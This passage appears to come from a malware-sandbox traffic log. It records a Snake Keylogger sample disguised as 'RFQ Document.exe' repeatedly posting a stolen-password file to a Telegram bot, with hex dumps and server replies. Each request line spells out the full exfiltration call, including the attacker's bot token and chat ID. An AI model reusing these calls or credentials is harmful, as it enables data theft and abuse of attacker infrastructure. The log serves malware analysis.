{"ok":true,"result":{"message_id":12716,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808739,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49787	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:23 UTC	20	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c35d1eed Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:23 UTC	20	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 35 64 31 65 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c35d1eedContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:23 UTC	21	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:23 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:23 UTC	21	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12592,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808703,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.4	49929	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:59 UTC	207	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d8ff9058 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:59 UTC	208	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 66 66 39 30 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d8ff9058Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:59 UTC	208	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:59 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:59 UTC	208	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12717,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808739,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.4	49930	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:59 UTC	209	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d917675e Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:59 UTC	209	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 31 37 36 37 35 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d917675eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:59 UTC	210	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:59 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:59 UTC	210	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12718,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808739,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.4	49931	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:59 UTC	211	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d93d8c91 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:59 UTC	211	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 33 64 38 63 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d93d8c91Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:00 UTC	211	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:00 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:00 UTC	212	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12719,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.4	49932	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:00 UTC	212	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d95563e5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:00 UTC	212	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 35 35 36 33 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d95563e5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:00 UTC	213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:00 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:00 UTC	213	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12720,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.4	49933	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:00 UTC	214	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d972014a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:00 UTC	214	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 37 32 30 31 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d972014aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:00 UTC	214	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:00 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:00 UTC	215	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12721,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.4	49934	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:00 UTC	215	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d990fe2e Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:00 UTC	216	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 39 39 30 66 65 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d990fe2eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:00 UTC	216	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:00 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:00 UTC	216	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12722,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808740,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.4	49935	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:00 UTC	217	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d9affcf6 Host: api.telegram.org Content-Length: 407
